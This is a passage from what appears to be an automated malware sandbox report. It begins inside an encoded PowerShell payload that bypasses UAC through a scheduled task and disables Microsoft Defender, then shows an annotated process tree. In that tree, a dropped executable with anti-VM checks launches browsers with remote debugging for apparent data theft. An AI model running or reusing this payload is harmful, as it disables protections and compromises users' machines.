MALgBHAGUAdABGAG8AbABkAGUAcgAoACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAXABEAGkAcwBrAEMAbABlAGEAbgB1AHAAJwApAA0ACgAkAGIAcABhAHMAcwA9ACQAYgBhAGYAZgBsAGkAbgBnAC4ARwBlAHQAVABhAHMAawAoACcAUwBpAGwAZQBuAHQAQwBsAGUAYQBuAHUAcAAnACkAOwAgACQAZgBsAGEAdwA9ACQAYgBwAGEAcwBzAC4ARABlAGYAaQBuAGkAdABpAG8AbgANAAoADQAKACQAdQA9ADAAOwAkAHcAPQB3AGgAbwBhAG0AaQAgAC8AZwByAG8AdQBwAHMAOwBpAGYAKAAkAHcALQBsAGkAawBlACcAKgAxAC0ANQAtADMAMgAtADUANAA0ACoAJwApAHsAJAB1AD0AMQB9ADsAaQBmACgAJAB3AC0AbABpAGsAZQAnACoAMQAtADEANgAtADEAMgAyADgAOAAqACcAKQB7ACQAdQA9ADIAfQA7AGkAZgAoACQAdwAtAGwAaQBrAGUAJwAqADEALQAxADYALQAxADYAMwA4ADQAKgAnACkAewAkAHUAPQAzAH0ADQAKAA0ACgAkAHIAPQBbAGMAaABhAHIAXQAxADMAOwAgACQAbgBmAG8APQBbAGMAaABhAHIAXQAzADkAKwAkAHIAKwAnACAAKABcACAAIAAgAC8AKQAnACsAJAByACsAJwAoACAAKgAgAC4AIAAqACAAKQAgACAAQQAgAGwAaQBtAGkAdABlAGQAIABhAGMAYwBvAHUAbgB0ACAAcAByAG8AdABlAGMAdABzACAAeQBvAHUAIABmAHIAbwBtACAAVQBBAEMAIABlAHgAcABsAG8AaQB0AHMAJwArACQAcgArACcAIAAgACAAIABgAGAAYAAnACsAJAByACsAWwBjAGgAYQByAF0AMwA5AA0ACgAkAHMAYwByAGkAcAB0AD0AJwAtAG4AbwBwACAALQB3AGkAbgAgADEAIAAtAGMAIAAmACAAewByAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAA7ACQAQQB2AGUAWQBvAD0AJwArACQAbgBmAG8AKwAnADsAJABlAG4AdgA6ADEAPQAnACsAJABlAG4AdgA6ADEAOwAgACQAZQBuAHYAOgBfAF8AQwBPAE0AUABBAFQAXwBMAEEAWQBFAFIAPQAnAEkAbgBzAHQAYQBsAGwAZQByACcADQAKACQAcwBjAHIAaQBwAHQAKwA9ACcAOwBpAGUAeAAoACgAZwBwACAAUgBlAGcAaQBzAHQAcgB5ADoAOgBIAEsARQBZAF8AVQBzAGUAcgBzAFwAUwAtADEALQA1AC0AMgAxACoAXABWAG8AbABhAHQAaQBsAGUAKgAgAFQAbwBnAGcAbABlAEQAZQBmAGUAbgBkAGUAcgAgAC0AZQBhACAAMAApAFsAMABdAC4AVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACkAfQAnADsAIAAkAGMAbQBkAD0AJwBwAG8AdwBlAHIAcwBoAGUAbABsACAAJwArACQAcwBjAHIAaQBwAHQADQAKAA0ACgBpAGYAIAAoACQAdQAgAC0AZQBxACAAMAApACAAewANAAoAIAAgAHMAdABhAHIAdAAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGEAcgBnAHMAIAAkAHMAYwByAGkAcAB0ACAALQB2AGUAcgBiACAAcgB1AG4AYQBzACAALQB3AGkAbgAgADEAOwAgAGIAcgBlAGEAawANAAoAfQANAAoAaQBmACAAKAAkAHUAIAAtAGUAcQAgADEAKQAgAHsADQAKACAAIABpAGYAIAAoACQAZgBsAGEAdwAuAEEAYwB0AGkAbwBuAHMALgBJAHQAZQBtACgAMQApAC4AUABhAHQAaAAgAC0AaQBuAG8AdABsAGkAawBlACAAJwAqAHcAaQBuAGQAaQByACoAJwApAHsAcwB0AGEAcgB0ACAAcABvAHcAZQByAHMAaABlAGwAbAAgAC0AYQByAGcAcwAgACQAcwBjAHIAaQBwAHQAIAAtAHYAZQByAGIAIAByAHUAbgBhAHMAIAAtAHcAaQBuACAAMQA7ACAAYgByAGUAYQBrAH0ADQAKACAAIABzAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgACQAKAAnAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAnACsAJABzAGMAcgBpAHAAdAArACcAIAAjACcAKQANAAoAIAAgACQAegA9ACQAYgBwAGEAcwBzAC4AUgB1AG4ARQB4ACgAJABuAHUAbABsACwAMgAsADAALAAkAG4AdQBsAGwAKQA7ACAAJAB3AGEAaQB0AD0AMAA7ACAAdwBoAGkAbABlACgAJABiAHAAYQBzAHMALgBTAHQAYQB0AGUAIAAtAGcAdAAgADMAIAAtAGEAbgBkACAAJAB3AGEAaQB0ACAALQBsAHQAIAAxADcAKQB7AHMAbABlAGUAcAAgAC0AbQAgADEAMAAwADsAIAAkAHcAYQBpAHQAKwA9ADAALgAxAH0ADQAKACAAIABpAGYAKABnAHAAIABoAGsAYwB1ADoAXABlAG4AdgBpAHIAbwBuAG0AZQBuAHQAIAB3AGkAbgBkAGkAcgAgAC0AZQBhACAAMAApAHsAcgBwACAAaABrAGMAdQA6AFwAZQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAdwBpAG4AZABpAHIAIAAtAGUAYQAgADAAOwBzAHQAYQByAHQAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBhAHIAZwBzACAAJABzAGMAcgBpAHAAdAAgAC0AdgBlAHIAYgAgAHIAdQBuAGEAcwAgAC0AdwBpAG4AIAAxAH0AOwBiAHIAZQBhAGsADQAKAH0ADQAKAGkAZgAgACgAJAB1ACAALQBlAHEAIAAyACkAIAB7AA0ACgAgACAAJABBAD0AWwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAcgByAGUAbgB0AEQAbwBtAGEAaQBuAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMAQQBzAHMAZQBtAGIAbAB5ACIAKAAxACwAMQApAC4AIgBEAGUAZgBgAGkAbgBlAEQAeQBuAGEAbQBpAGMATQBvAGQAdQBsAGUAIgAoADEAKQA7ACQARAA9AEAAKAApADsAMAAuAC4ANQB8ACUAewAkAEQAKwA9ACQAQQAuACIARABlAGYAYABpAG4AZQBUAHkAcABlACIAKAAnAEEAJwArACQAXwAsAA0ACgAgACAAMQAxADcAOQA5ADEAMwAsAFsAVgBhAGwAdQBlAFQAeQBwAGUAXQApAH0AIAA7ADQALAA1AHwAJQB7ACQARAArAD0AJABEAFsAJABfAF0ALgAiAE0AYQBrAGAAZQBCAHkAUgBlAGYAVAB5AHAAZQAiACgAKQB9ACAAOwAkAEkAPQBbAEkAbgB0ADMAMgBdADsAJABKAD0AIgBJAG4AdABgAFAAdAByACIAOwAkAFAAPQAkAEkALgBtAG8AZAB1AGwAZQAuAEcAZQB0AFQAeQBwAGUAKAAiAFMAeQBzAHQAZQBtAC4AJABKACIAKQA7ACAAJABGAD0AQAAoADAAKQANAAoAIAAgACQARgArAD0AKAAkAFAALAAkAEkALAAkAFAAKQAsACgAJABJACwAJABJACwAJABJACwAJABJACwAJABQACwAJABEAFsAMQBdACkALAAoACQASQAsACQAUAAsACQAUAAsACQAUAAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsACQASQAsAFsASQBuAHQAMQA2AF0ALABbAEkAbgB0ADEANgBdACwAJABQACwAJABQACwAJABQACwAJABQACkALAAoACQARABbADMAXQAsACQAUAApACwAKAAkAFAALAAkAFAALAAkAEkALAAkAEkAKQANAAoAIAAgACQAUwA9AFsAUwB0AHIAaQBuAGcAXQA7ACAAJAA5AD0AJABEAFsAMABdAC4AIgBEAGUAZgBgAGkAbgBlAFAASQBuAHYAbwBrAGUATQBlAHQAaABvAGQAIgAoACcAQwByAGUAYQB0AGUAUAByAG8AYwBlAHMAcwAnACwAIgBrAGUAcgBuAGUAbABgADMAMgAiACwAOAAyADEANAAsADEALAAkAEkALABAACgAJABTACwAJABTACwAJABJACwAJABJACwAJABJACwAJABJACwAJABJACwAJABTACwAJABEAFsANgBdACwAJABEAFsANwBdACkALAAxACwANAApAA0ACgAgACAAMQAuAC4ANQB8ACUAewAkAGsAPQAkAF8AOwAkAG4APQAxADsAJABGAFsAJABfAF0AfAAlAHsAJAA5AD0AJABEAFsAJABrAF0ALgAiAEQAZQBmAGAAaQBuAGUARgBpAGUAbABkACIAKAAnAGYAJwArACQAbgArACsALAAkAF8ALAA2ACkAfQB9ADsAJABUAD0AQAAoACkAOwAwAC4ALgA1AHwAJQB7ACQAVAArAD0AJABEAFsAJABfAF0ALgAiAEMAcgBgAGUAYQB0AGUAVAB5AHAAZQAiACgAKQA7ACQAWgA9AFsAdQBpAG4AdABwAHQAcgBdADoAOgBzAGkAegBlAA0ACgAgACAAbgB2ACAAKAAnAFQAJwArACQAXwApACgAWwBBAGMAdABpAHYAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQBJAG4AcwB0AGEAbgBjAGUAKAAkAFQAWwAkAF8AXQApACkAfQA7ACAAJABIAD0AJABJAC4AbQBvAGQAdQBsAGUALgBHAGUAdABUAHkAcABlACgAIgBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAGAAUwBlAHIAdgBpAGMAZQBzAC4ATQBhAHIAYABzAGgAYQBsACIAKQA7AA0ACgAgACAAJABXAFAAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAVwByAGkAdABlACQASgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABKACwAJABKACkAKQA7ACAAJABIAEcAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAQQBsAGwAbwBjAEgAYABHAGwAbwBiAGEAbAAiACwAWwB0AHkAcABlAFsAXQBdACcAaQBuAHQAMwAyACcAKQA7ACAAJAB2AD0AJABIAEcALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACQAWgApAA0ACgAgACAAJwBUAHIAdQBzAHQAZQBkAEkAbgBzAHQAYQBsAGwAZQByACcALAAnAGwAcwBhAHMAcwAnAHwAJQB7AGkAZgAoACEAJABwAG4AKQB7AG4AZQB0ADEAIABzAHQAYQByAHQAIAAkAF8AIAAyAD4AJgAxACAAPgAkAG4AdQBsAGwAOwAkAHAAbgA9AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBHAGUAdABQAHIAbwBjAGUAcwBzAGUAcwBCAHkATgBhAG0AZQAoACQAXwApAFsAMABdADsAfQB9AA0ACgAgACAAJABXAFAALgBpAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsAEAAKAAkAHYALAAkAHAAbgAuAEgAYQBuAGQAbABlACkAKQA7ACAAJABTAFoAPQAkAEgALgAiAEcAZQB0AGAATQBlAHQAaABvAGQAIgAoACIAUwBpAHoAZQBPAGYAIgAsAFsAdAB5AHAAZQBbAF0AXQAnAHQAeQBwAGUAJwApADsAIAAkAFQAMQAuAGYAMQA9ADEAMwAxADAANwAyADsAIAAkAFQAMQAuAGYAMgA9ACQAWgA7ACAAJABUADEALgBmADMAPQAkAHYAOwAgACQAVAAyAC4AZgAxAD0AMQANAAoAIAAgACQAVAAyAC4AZgAyAD0AMQA7ACQAVAAyAC4AZgAzAD0AMQA7ACQAVAAyAC4AZgA0AD0AMQA7ACQAVAAyAC4AZgA2AD0AJABUADEAOwAkAFQAMwAuAGYAMQA9ACQAUwBaAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFQAWwA0AF0AKQA7ACQAVAA0AC4AZgAxAD0AJABUADMAOwAkAFQANAAuAGYAMgA9ACQASABHAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAkAFMAWgAuAGkAbgB2AG8AawBlACgAJABuAHUAbABsACwAJABUAFsAMgBdACkAKQANAAoAIAAgACQASAAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAIgBTAHQAcgB1AGMAdAB1AHIAZQBUAG8AYABQAHQAcgAiACwAWwB0AHkAcABlAFsAXQBdACgAJABEAFsAMgBdACwAJABKACwAJwBiAG8AbwBsAGUAYQBuACcAKQApAC4AaQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALABAACgAKAAkAFQAMgAtAGEAcwAgACQARABbADIAXQApACwAJABUADQALgBmADIALAAkAGYAYQBsAHMAZQApACkAOwAkAHcAaQBuAGQAbwB3AD0AMAB4ADAARQAwADgAMAA2ADAAMAANAAoAIAAgACQAOQA9ACQAVABbADAAXQAuACIARwBlAHQAYABNAGUAdABoAG8AZAAiACgAJwBDAHIAZQBhAHQAZQBQAHIAbwBjAGUAcwBzACcAKQAuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAQAAoACQAbgB1AGwAbAAsACQAYwBtAGQALAAwACwAMAAsADAALAAkAHcAaQBuAGQAbwB3ACwAMAAsACQAbgB1AGwAbAAsACgAJABUADQALQBhAHMAIAAkAEQAWwA0AF0AKQAsACgAJABUADUALQBhAHMAIAAkAEQAWwA1AF0AKQApACkAOwAgAGIAcgBlAGEAawANAAoAfQANAAoADQAKACQAdwBkAHAAPQAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgAnAA0ACgAnACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcALAAnAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACwAJwBcAE0AcABFAG4AZwBpAG4AZQAnACwAJwBcAFMAcAB5AG4AZQB0ACcALAAnAFwAUgBlAGEAbAAtAFQAaQBtAGUAIABQAHIAbwB0AGUAYwB0AGkAbwBuACcAIAB8ACUAIAB7AG4AaQAgACgAJAB3AGQAcAArACQAXwApAC0AZQBhACAAMAB8AG8AdQB0AC0AbgB1AGwAbAB9AA0ACgANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABQAG8AbABpAGMAaQBlAHMAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAIABTAGUAYwB1AHIAaQB0AHkAIABDAGUAbgB0AGUAcgBcAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAJwAgAEQAaQBzAGEAYgBsAGUATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AcwAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAVQBYACAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAnACAATgBvAHQAaQBmAGkAYwBhAHQAaQBvAG4AXwBTAHUAcABwAHIAZQBzAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACAAUwBlAGMAdQByAGkAdAB5ACAAQwBlAG4AdABlAHIAXABOAG8AdABpAGYAaQBjAGEAdABpAG8AbgBzACcAIABEAGkAcwBhAGIAbABlAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAHMAIAAxACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAFUAWAAgAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AJwAgAE4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuAF8AUwB1AHAAcAByAGUAcwBzACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBzAHAAIAAnAEgASwBMAE0AOgBcAFMATwBGAFQAVwBBAFIARQBcAFAAbwBsAGkAYwBpAGUAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AFwAVwBpAG4AZABvAHcAcwBcAFMAeQBzAHQAZQBtACcAIABFAG4AYQBiAGwAZQBTAG0AYQByAHQAUwBjAHIAZQBlAG4AIAAwACAALQBUAHkAcABlACAARAB3AG8AcgBkACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAADQAKAHMAcAAgACcASABLAEwATQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAUABvAGwAaQBjAGkAZQBzAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByACcAIABEAGkAcwBhAGIAbABlAEEAbgB0AGkAUwBwAHkAdwBhAHIAZQAgADEAIAAtAFQAeQBwAGUAIABEAHcAbwByAGQAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwBwACAAJwBIAEsATABNADoAXABTAE8ARgBUAFcAQQBSAEUAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAJwAgAEQAaQBzAGEAYgBsAGUAQQBuAHQAaQBTAHAAeQB3AGEAcgBlACAAMQAgAC0AVAB5AHAAZQAgAEQAdwBvAHIAZAAgAC0ARgBvAHIAYwBlACAALQBlAGEAIAAwAA0ACgBuAGUAdAAxACAAcwB0AG8AcAAgAHcAaQBuAGQAZQBmAGUAbgBkAA0ACgBzAGMALgBlAHgAZQAgAGMAbwBuAGYAaQBnACAAdwBpAG4AZABlAGYAZQBuAGQAIABkAGUAcABlAG4AZAA9ACAAUgBwAGMAUwBzAC0AVABPAEcARwBMAEUADQAKAGsAaQBsAGwAIAAtAE4AYQBtAGUAIABNAHAAQwBtAGQAUgB1AG4AIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAcwB0AGEAcgB0ACAAKAAkAGUAbgB2ADoAUAByAG8AZwByAGEAbQBGAGkAbABlAHMAKwAnAFwAVwBpAG4AZABvAHcAcwAgAEQAZQBmAGUAbgBkAGUAcgBcAE0AcABDAG0AZABSAHUAbgAuAGUAeABlACcAKQAgAC0AQQByAGcAIAAnAC0ARABpAHMAYQBiAGwAZQBTAGUAcgB2AGkAYwBlACcAIAAtAHcAaQBuACAAMQANAAoAZABlAGwAIAAoACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEQAYQB0AGEAKwAnAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAFwAUwBjAGEAbgBzAFwAbQBwAGUAbgBnAGkAbgBlAGQAYgAuAGQAYgAnACkAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAAgACAAIAAgACAAIAAgACAAIAAgACAAIwAjACAAQwBvAG0AbQBlAG4AdABlAGQAIAA9ACAAawBlAGUAcAAgAHMAYwBhAG4AIABoAGkAcwB0AG8AcgB5AA0ACgBkAGUAbAAgACgAJABlAG4AdgA6AFAAcgBvAGcAcgBhAG0ARABhAHQAYQArACcAXABNAGkAYwByAG8AcwBvAGYAdABcAFcAaQBuAGQAbwB3AHMAIABEAGUAZgBlAG4AZABlAHIAXABTAGMAYQBuAHMAXABIAGkAcwB0AG8AcgB5AFwAUwBlAHIAdgBpAGMAZQAnACkAIAAtAFIAZQBjAHUAcgBzAGUAIAAtAEYAbwByAGMAZQAgAC0AZQBhACAAMAANAAoAJwBAACAALQBGAG8AcgBjAGUAIAAtAGUAYQAgADAAOwAgAGkAZQB4ACgAKABnAHAAIABSAGUAZwBpAHMAdAByAHkAOgA6AEgASwBFAFkAXwBVAHMAZQByAHMAXABTAC0AMQAtADUALQAyADEAKgBcAFYAbwBsAGEAdABpAGwAZQAqACAAVABvAGcAZwBsAGUARABlAGYAZQBuAGQAZQByACAALQBlAGEAIAAwACkAWwAwAF0ALgBUAG8AZwBnAGwAZQBEAGUAZgBlAG4AZABlAHIAKQANAAoAIwAtAF8ALQAjAA==
                                                                                                                          7⤵
                                                                                                                          • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                          PID:2416
                                                                                                                          • C:\Windows\system32\sc.exe
                                                                                                                            "C:\Windows\system32\sc.exe" qc windefend
                                                                                                                            8⤵
                                                                                                                            • Launches sc.exe
                                                                                                                            PID:5708
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            "C:\Windows\system32\cmd.exe" /d/r SecurityHealthSystray & "%ProgramFiles%\Windows Defender\MSASCuiL.exe"
                                                                                                                            8⤵
                                                                                                                              PID:3644
                                                                                                                            • C:\Windows\system32\whoami.exe
                                                                                                                              "C:\Windows\system32\whoami.exe" /groups
                                                                                                                              8⤵
                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                              PID:5356
                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                              "C:\Windows\system32\net1.exe" start TrustedInstaller
                                                                                                                              8⤵
                                                                                                                                PID:2140
                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                "C:\Windows\system32\net1.exe" start lsass
                                                                                                                                8⤵
                                                                                                                                  PID:2164
                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\10216600101\7KVoLQr.exe
                                                                                                                          "C:\Users\Admin\AppData\Local\Temp\10216600101\7KVoLQr.exe"
                                                                                                                          4⤵
                                                                                                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                                                          • Downloads MZ/PE file
                                                                                                                          • Checks BIOS information in registry
                                                                                                                          • Executes dropped EXE
                                                                                                                          • Identifies Wine through registry keys
                                                                                                                          • Loads dropped DLL
                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                          • System Location Discovery: System Language Discovery
                                                                                                                          • Checks processor information in registry
                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                          PID:3664
                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
                                                                                                                            5⤵
                                                                                                                            • Uses browser remote debugging
                                                                                                                            • Checks processor information in registry
                                                                                                                            • Enumerates system info in registry
                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                            • Suspicious use of FindShellTrayWindow
                                                                                                                            PID:5788
                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=133.0.6943.60 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa700adcf8,0x7ffa700add04,0x7ffa700add10
                                                                                                                              6⤵
                                                                                                                                PID:5056
                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --field-trial-handle=2036,i,14151506954701599344,3461134660016933019,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2032 /prefetch:2
                                                                                                                                6⤵
                                                                                                                                  PID:3332
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --field-trial-handle=2252,i,14151506954701599344,3461134660016933019,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2248 /prefetch:3
                                                                                                                                  6⤵
                                                                                                                                    PID:5084
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --field-trial-handle=2384,i,14151506954701599344,3461134660016933019,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=2544 /prefetch:8
                                                                                                                                    6⤵
                                                                                                                                      PID:3752
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3236,i,14151506954701599344,3461134660016933019,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3300 /prefetch:1
                                                                                                                                      6⤵
                                                                                                                                      • Uses browser remote debugging
                                                                                                                                      PID:4532
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3244,i,14151506954701599344,3461134660016933019,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=3336 /prefetch:1
                                                                                                                                      6⤵
                                                                                                                                      • Uses browser remote debugging
                                                                                                                                      PID:4392
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --extension-process --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4272,i,14151506954701599344,3461134660016933019,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=4320 /prefetch:2
                                                                                                                                      6⤵
                                                                                                                                      • Uses browser remote debugging
                                                                                                                                      PID:4420
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --string-annotations --enable-dinosaur-easter-egg-alt-images --remote-debugging-port=9229 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4668,i,14151506954701599344,3461134660016933019,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=4720 /prefetch:1
                                                                                                                                      6⤵
                                                                                                                                      • Uses browser remote debugging
                                                                                                                                      PID:1040
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5188,i,14151506954701599344,3461134660016933019,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=5200 /prefetch:8
                                                                                                                                      6⤵
                                                                                                                                        PID:3424
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --video-capture-use-gpu-memory-buffer --string-annotations --field-trial-handle=5732,i,14151506954701599344,3461134660016933019,262144 --variations-seed-version=20250314-050508.937000 --mojo-platform-channel-handle=5744 /prefetch:8
                                                                                                                                        6⤵
                                                                                                                                          PID:3268
                                                                                                                                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
                                                                                                                                        5⤵
                                                                                                                                        • Uses browser remote debugging
                                                                                                                                        • Enumerates system info in registry
                                                                                                                                        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                        • Suspicious use of FindShellTrayWindow
                                                                                                                                        PID:5876
                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
